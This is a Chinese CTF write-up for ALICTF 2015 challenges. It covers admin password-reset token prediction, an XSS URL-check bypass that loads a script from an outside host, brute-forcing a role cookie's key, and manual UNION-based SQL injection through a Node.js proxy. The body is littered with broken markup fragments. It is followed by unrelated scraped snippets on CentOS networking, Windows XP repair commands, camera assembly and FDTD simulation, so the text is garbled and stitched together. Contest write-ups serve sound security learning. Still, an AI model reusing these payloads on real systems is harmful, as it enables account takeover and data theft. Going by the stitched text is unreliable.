ALICTF2015 writeup(二)(第三排)

本文详细阐述了在ALICTF平台上的渗透测试过程,包括业务逻辑漏洞的挖掘、密码找回机制的破解、代码血案的利用以及前端初赛题的解决策略。通过深入分析源代码,作者成功构造payload并获取了flag。

业务逻辑和渗透

发现有好几种奇怪的特征,如可以以同样的用户名注册不同的密码,可以以 admin\s+注册用户并登陆等等,故一直在这些业务逻辑上寻觅编程漏洞,然而一直没有什么收获。还发现可以直接找回admin\s* 的密码,但收不到找回密码的邮件。

查看找回密码 http://jinan.alictf.com/resetpass/index.php 源代码,发现页面底部给出了服务器时间和一串神秘的 key。

给出了时间,莫非是要猜测重设密码的 Reset token?reset token 可能和时间直接相关,也可能间接相关(如伪随机数)。先尝试简单的,与时间直接相关。

查看邮件中收到的 reset token,从长度来看是 md5,丢进 cmd5 破解发现并没有记录,于是尝试自行猜测这串 md5 的构造方法。

<?php

$ord = [
    [0, 1, 2],
    [0, 2, 1],
    [1, 0, 2],
    [1, 2, 0],
    [2, 1, 0],
    [2, 0, 1],
    [0, 1],
    [1, 0],
];

$opt = [
    'swx2',
    '1427621772',
    '673f3e705c8d5b7af675f309e58d46c9'
];

foreach ($ord as $order) {
    $concat = '';
    foreach ($order as $i) {
        $concat .= $opt[$i];
    }
    echo $concat."\t".md5($concat)."\n";
}

手工构造了一些可能的组合,交给 PHP 运行,发现并不能匹配到 reset token。怀疑由于网络延迟关系时间戳不对,然而尝试修改时间戳到前后 3 秒仍然无法和 reset token 匹配。

翻阅邮件,发现找回密码的邮件发送时间实际上是这个时间戳的 5 秒前,于是修正时间戳再次尝试,成功匹配上了。匹配到的构造方式为:md5($username . $timestamp . $testKey)

于是申请 admin 的密码找回,然后按照该方式构造 md5,成功重设密码登录进去。

登录后提示不允许异地登陆…

那什么是异地呢?是不是从阿里巴巴所在的杭州连接就不是异地了呢?尝试利用阿里云杭州节点请求,发现仍然提示异地。想起来网页标题中提示了是山东省济南市的人才信息管理系统,遂寻找了一个山东济南的代理,挂上去之后成功登录获得了 flag。

代码血案

该题给出了 cpp 源代码和一个服务端口。由于给出的服务端口仅允许提交 4 次 token,还不知道触发一次漏洞需要提交几次 token,因此自己架设了一个服务器进行实验。

阅读源代码,瞬间发现 socket_read_callback 中对 token 的处理存在漏洞:recv_request 中以buffer 的首字节作为长度读入 token,而check_token 中将 token 作为一个 NUL-terminated 字符串进行处理。然而环顾四周发现,这个漏洞无法利用。

继续读源代码,发现 rpc_readlog 中存在一个致命漏洞: if (len < 0) len = -len。这样的代码一看就是作者故意留的漏洞: len 的类型为 char,当 len-128 时, -len 仍为 -128。下面 malloc(len + SAFE_SPACE_LEN) 将会申请一个 2 字节的位于堆中的缓冲区并进行 readlog。再看 readlog 代码,使用了相同算法对 len 进行处理。通过实验和阅读代码,快速发现只要 secretKey=c4852c706e64b5bc502b45c76392074c165a5f21e5aca3e6pos+len>=0,并且 log 中存在内容即可触发漏洞。构造 payload 提交到官方服务器获得 flag

前端初赛题3

阅读代码可知,代码会以 URL 方式解析 URL 的 search 部分(这里称为 targetURL)。如果 targetURL 满足测试条件,则会以脚本方式加载这个 URL。显然,这里要让 targetURL 为自己的 XSS Script 地址。然而,代码中会测试 targetURL 的authority 部分是否为 notexist.example.com,因此这题实际上是要分析代码中的逻辑漏洞,绕过这些测试。

首先阅读 jQuery.getScript() 源码看看jQuery.getScript() 是否会对地址进行一些处理产生突破口。发现它实际上调用的是 jQuery.ajax()。继续分析代码,发现 jQuery 并没有对 URL 进行特殊处理等操作,(某些情况下简单地追加参数)直接传给了XMLHttpRequest

因此实际上我们需要构造特别的 URL,使得浏览器认为它是一个正确的 URL 成功加载 XSS 脚本,并通过代码中的检验。

阅读代码发现它特别判断了 usernamepassword 部分的正斜杠,这是一个线索。然而经过各种测试,均未能利用正斜杠对代码实现攻击。放弃正斜杠后,尝试构造畸形 URL。测试@ 符号,发现当 URL 中存在多个 @ 时,Chrome 会将前面几个 @ 符号编码,作为username 部分。显然代码中处理逻辑并不是这样。于是找到了突破口,构造 payload:

<code data-origin="" 
http://ef4c3e7556641f00.alictf.com/index2.php?http://hello@notexist.example.com:x@xss.re/7798">http://ef4c3e7556641f00.alictf.com/index2.php?http://hello@notexist.example.com:x@xss.re/7798

<code data-origin=""

成功绕过了脚本的 URL 检查,加载 XSS 脚本。

<code data-origin=""

简单业务逻辑2

进入页面点击 Article 提示 Only Admin!,应该是需要提权。在网页源代码中发现 encryptdecrypt 函数,分析后发现

<code data-origin="" 
encrypt(P)=md5(P)⊕R⊕V·R">encrypt(P)=md5(P)⊕R⊕V·R

<code data-origin=""

<code data-origin="" 
<code data-origin="" 
decrypt(C·R)=C⊕R⊕V">decrypt(C·R)=C⊕R⊕V

<code data-origin=""

<code data-origin="" 
其中R为通过时间生成的md5序列。

<code data-origin="" 
<code data-origin="" 
<code data-origin="" 
decrypt(encrypt(P))=md5(P)">decrypt(encrypt(P))=md5(P)

<code data-origin=""

<code data-origin="" 
<code data-origin="" 
发现名为 role的 Cookie,其中包含长度与 encrypt 结果相同的值,而尝试 decrypt 后发现结果并不为仅包含 [0-9a-f] 的字符串。然而多次登录网站产生的不同 roledecrypt 出相同的内容,说明确实是 encrypt 产生的。观察算法,发现 V=md5('??????'),看起来似乎需要爆破。

<code data-origin=""

<code data-origin="" 
<code data-origin="" 
编写爆破代码并使用小集群进行破解。

<code data-origin="" 
<code data-origin="" 
<code data-origin="" 
var cluster = require('cluster');
var crypto = require('crypto');
var cookie = new Buffer('ZjZkPDRhYzRnYTM5bDdmNGFkYjI3a2NnMjg6YWZrMTtWUwEBVgJcAgYEBAYMUlJTUgYCUgABAQUEU1EBBwpWUg==', 'base64');
var charset = '0123456789abcdefghijklmnopqrstuvwxyz';
var numCPUs = 60;

if (cluster.isMaster) {
  var a = 0, b = 0;
  function forkNew() {
    if (a < charset.length && b < charset.length) {
      cluster.fork({start: charset[a] + charset[b]});
      if (++b >= charset.length) {
        b = 0; ++a;
      }
    }
  }
  for (var i = 0; i < numCPUs; ++i) {
    forkNew();
  }
  cluster.on('exit', function(worker, code, signal) {
    if (worker.suicide)
      forkNew();
  });
} else {
  function decrypt(flag) {
    var md5 = crypto.createHash('md5');
    md5.update(flag);
    var q = md5.digest('hex');
    q += q.split('').reverse().join('');
    for (var i = 0; i < 32; ++i) {
      var p = q.charCodeAt(i) ^ q.charCodeAt(i + 32) ^ cookie[i] ^ cookie[i + 32];
      if ((p >= 48 && p <= 57) || (p >= 97 && p <= 102))
        continue;
      return false;
    }
    return true;
  }
  var start = process.env['start'];
  console.log('Trying ' + start + '...');
  for (var c = 0; c < charset.length; ++c) {
  for (var d = 0; d < charset.length; ++d) {
  for (var e = 0; e < charset.length; ++e) {
  for (var f = 0; f < charset.length; ++f) {
    var flag = start + charset[c] + charset[d] + charset[e] + charset[f];
    if (decrypt(flag)) {
      console.log('Found flag: ' + flag);
      break;
    }
  }
  }
  }
  }
  console.log()
  cluster.worker.kill();
}
<code data-origin="" 
<code data-origin="" 
<code data-origin="" 
node validate.js | tee log_file

<code data-origin=""

<code data-origin="" 
<code data-origin="" 
发现数十个V能使 decrypt(role) 为仅包含 [0-9a-f] 的字符串。

<code data-origin=""

<code data-origin="" 
<code data-origin="" 

<code data-origin=""

<code data-origin="" 
<code data-origin="" 

其中当 V=md5('lanlan')时,decrypt(role)=md5('Guest')

<code data-origin="" 
decrypt(cookie, 'lanlan') -&gt; adb831a7fdd83dd1e2a309ce7591dff8">decrypt(cookie, 'lanlan') -> adb831a7fdd83dd1e2a309ce7591dff8
cmd5(adb831a7fdd83dd1e2a309ce7591dff8) -> 'Guest'

<code data-origin=""

我们将 role改为 encrypt('Admin'),成功取得管理员权限进入 Article。

<code data-origin=""

屏幕中央写着 nothing in cookie!,于是查看 Cookie,发现有一个 article cookie 内容是 php 下 serialize(1) 的结果 i:1;

<code data-origin=""

<code data-origin=""
<code data-origin="" 
<code data-origin="" 
尝试改成 serialize(0), serialize(2) 加载页面,发现会获得不同的内容。
于是先随手写个程序枚举 0-200 看看有哪些内容:

又获得提示,SQLInjection!

由于比较懒,所以想修改程序改成一个 bridge Server 供 SQLMap 自动化注入(将 GET 参数 serialize() 后放入 cookie 请求服务器,并返回结果):

var cookie = 'article=[--i--]; role=Mjc1bWVmMzBhNzk2ODBka2EwYTZkYjNlbjxjZWwyMGgGBVMOUVBdAVIBCAFTAQEEU1AGBAdQA1IJVgEECgRUDA; LoginState=.....; PHPSESSID=.....';
var referer = 'http://cbcd512994370fc3d6a05eb9a73b31e9.alictf.com/dba8880fbcc025266576950828b2c4a7/index.php?token=....';
var url = 'http://cbcd512994370fc3d6a05eb9a73b31e9.alictf.com/dba8880fbcc025266576950828b2c4a7/arrrrrrrrrrrticle.php?token=....';

var request = require('request');
var cheerio = require('cheerio');
var express = require('express');

var app = express();

function serialize(...) {
  // see http://phpjs.org/functions/serialize/
}

app.get('/', function (req, res) {
  request.get(url, {
      headers: {
          cookie: cookie.replace('[--i--]', encodeURIComponent(serialize(req.query.article))),
          Host: 'cbcd512994370fc3d6a05eb9a73b31e9.alictf.com',
          Referer: referer,
          'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 Safari/537.36',
      }
  }, function(err, response, body) {
      if (err) {
          console.log(err.stack);
          res.status(500).end();
          return;
      }
      var $ = cheerio.load(body.toString());
      var lead = $('.lead');
      var text = lead.text();
      res.end(text);
  });
})

var server = app.listen(3000, function () {
  var host = server.address().address;
  var port = server.address().port;
  console.log('listening at http://%s:%s', host, port);
});

结果发现由于还过滤了左括号 SQLMap 无法自动化注入 :-(

只能手工注入了。

<code data-origin="" 
http://localhost:3000/?article=1000%20union%20select%201,%20table_name%20from%20information_schema.tables%20WHERE%20TABLE_TYPE=%22BASE%20TABLE%22%20LIMIT%20[i],1">http://localhost:3000/?article=1000%20union%20select%201,%20table_name%20from%20information_schema.tables%20WHERE%20TABLE_TYPE=%22BASE%20TABLE%22%20LIMIT%20[i],1

<code data-origin=""

写个代码从 0 到 100 枚举上述地址 [i] 部分从而获得所有表。

<code data-origin="" 
<code data-origin="" 
...">...
24 TABLE_PRIVILEGES
25 TRIGGERS
29 flag
30 columns_priv
31 db
34 general_log
35 help_category
36 help_keyword
33 func
...

<code data-origin=""

<code data-origin="" 
发现其中有一个叫 flag 的表,想必就是 flag 了…

<code data-origin="" 
<code data-origin="" 
<code data-origin="" 
http://localhost:3000/?article=1000%20union%20select%201,COLUMN_NAME%20from%20information_schema.COLUMNS%20WHERE%20TABLE_NAME=%22flag%22%20LIMIT%201">http://localhost:3000/?article=1000%20union%20select%201,COLUMN_NAME%20from%20information_schema.COLUMNS%20WHERE%20TABLE_NAME=%22flag%22%20LIMIT%201

<code data-origin=""

<code data-origin="" 
<code data-origin="" 
查询到只有一个列叫做 flag。于是成功获得 flag。

<code data-origin=""
<code data-origin="" 
<code data-origin="" 
第三排的最后道  branch  ====暂时无解  待续   如果有解法再放上来
代码转载自:https://pan.quark.cn/s/8ce4326d996e 对于在 CentOS 7 系统中修改网卡配置文件后无法使设置生效的情况,经过实践验证,可以通过使用 nmcli 命令来进行调整。完成修改之后,需要重新启动虚拟机以使更改生效,这样操作流程即告完成。如果设置仍然无法生效,则表明虚拟机在启动过程中所获取的 IP 地址配置并非针对 eth0,此时可以对其它网卡的配置文件进行修改或将其移除。在 CentOS 7 系统中,网络配置的管理机制与早期版本存在差异,主要体现为采用了 Network Manager 服务来负责网络接口的管理。在某些情形下,尽管修改了 `/etc/sysconfig/network-scripts` 目录下的 `ifcfg-eth0` 文件,但网络配置却未能即时生效。此类问题的发生通常源于 CentOS 7 采用了不同于以往的配置读取方法。接下来将具体阐述如何借助 nmcli 命令来处理这一挑战。 以 root 用户身份登录系统并打开终端界面。nmcli 是 Network Manager 提供的命令行界面工具,它支持在命令行环境下执行网络连接的建立、编辑、查询及管理任务。针对修改 eth0 网卡配置的需求,可以遵循以下步骤进行操作: 1. 导航至 `/etc/sysconfig/network-scripts` 目录: ``` cd /etc/sysconfig/network-scripts ``` 2. 检查该目录内是否存在 `ifcfg-eth0.bak` 文件,该备份文件可能是先前调整配置时遗留下来的,若存在可能造成冲突。若发现该文件,可以选择将其删除: ``` [root@localhost netw...
代码转载自:https://pan.quark.cn/s/46fd08fb879c 网管教程 从入门到精通软件篇 ★一。★详尽的xp修复控制台指令及其应用!!! 放入xp(2000)的光盘,安装时选择R,执行修复! Windows XP(涵盖 Windows 2000)的控制台指令是在系统遭遇某些意外状况时的一种极具效用的诊断、检测以及恢复系统功能的工具。笔者确实一直期望能够将这方面的指令进行归纳,此次由老范辛苦整理了这份极具价值的秘籍。 Bootcfg bootcfg 命令用于启动配置与故障恢复(对大多数计算机而言,即 boot.ini 文件)。 带有特定参数的 bootcfg 命令仅在运用故障恢复控制台时方可使用。能够在命令行界面下运用带有不同参数的 bootcfg 命令。 用法: bootcfg /default 设定默认引导选项。 bootcfg /add 向引导清单中增添 Windows 安装。 bootcfg /rebuild 重复整个 Windows 安装流程并让用户选择需添加的项目。 注意:运用 bootcfg /rebuild 之前,应先借助 bootcfg /copy 命令备份 boot.ini 文件。 bootcfg /scan 探查用于 Windows 安装的全部磁盘并展示结果。 注意:这些结果被静态存储,并用于当前会话。若在当前会话期间磁盘配置发生变动,为获取更新的探查结果,必须先重启计算机,然后再次探查磁盘。 bootcfg /list 列示引导清单中已有的项目。 bootcfg /disableredirect 在启动引导程序中禁用重定向。 bootcfg /redirect [ PortBaudRrate] |[ useBio...
代码下载链接: https://pan.quark.cn/s/fc524f791b68 AA制程,即Active Alignment,被理解为主动对准,是一种用于确定零部件装配中相对位置的方法。在摄像头封装阶段,涉及图像传感器、镜座、马达、镜头、线路板等多个部件的重复组装,而传统的封装设备如CSP及COB等,均是依据设备设定的参数进行零部件的移动装配,因而零部件的叠加误差会逐渐增大,最终在摄像头上表现为拍照最清晰的位置可能偏离画面中心、四边清晰度不均等现象。伴随智能手机和其他高端电子产品的普及,摄像头模组的性能正日益受到重视。高分辨率、卓越的低光表现以及稳定视频输出是现代用户所期望的。在摄像头模组的制造环节,各部件的精准定位对成像质量具有决定性作用。因此,一种名为“AA制程”(Active Alignment)的前沿技术被开发出来,成为摄像头精密对准的核心技术。 AA制程,即Active Alignment,是一种在摄像头封装过程中应用的主动对准方法。该方法在多个组件装配阶段发挥作用,涵盖图像传感器、镜座、马达、镜头和线路板等部件。传统的封装方式,例如CSP(Chip Scale Package)和COB(Chip On Board),依赖于设备预设的参数进行组装,但随着组件数量的增加,误差也会累积,最终影响摄像头的表现。例如在成像质量上可能出现中心位置偏移、四角清晰度不一致等问题。 AA制程技术的核心在于实时监测与主动调整。在组装过程中,它借助先进的检测设备持续监控半成品的状态,并根据实时信息对组装部件进行精确修正,从而显著降低装配误差。通过这种技术,能够确保摄像头模组中各组件的相对位置准确无误,从而使得最终的成像效果更加稳定,特别是在中心区域和四角的清晰度上...
内容概要:本文介绍了一套基于Matlab实现的光子晶体90度弯曲波导的维时域有限差分法(2D FDTD)仿真代码,旨在通过数值模拟手段深入研究光子晶体波导中的光传播特性。该资源聚焦于电磁场与光子学领域的仿真技术应用,系统实现了FDTD算法在复杂介质结构中的建模过程,涵盖空间网格剖分、时间步进迭代、完美匹配层(UPML)边界条件处理、总场散射场(TFSF)激励源设置、介电常数分布定义及电磁场演化可视化等核心模块,能够有效分析光在90度弯曲波导中的传输效率、模式分布与反射损耗等关键性能指标。; 适合人群:具备电磁场理论基础和Matlab编程能力的研究生、科研人员以及从事光子晶体器件设计与仿真的工程技术人员。; 使用场景及目标:①用于教学演示FDTD方法的基本原理与算法流程,帮助理解麦克斯韦方程的离散化求解过程;②支撑科研工作中对光子晶体弯曲波导结构的传输特性进行仿真分析与性能优化;③作为开发更复杂光子集成器件(如分束器、滤波器)数值仿真工具的基础框架; 阅读建议:建议使用者结合经典FDTD教材(如Taflove著作)深入理解算法理论,并在Matlab环境中逐模块调试代码,重点关注电场与磁场的交替更新过程、UPML吸收边界的设计实现以及TFSF源的引入方式,从而全面提升对时域电磁仿真机制的掌握与应用能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值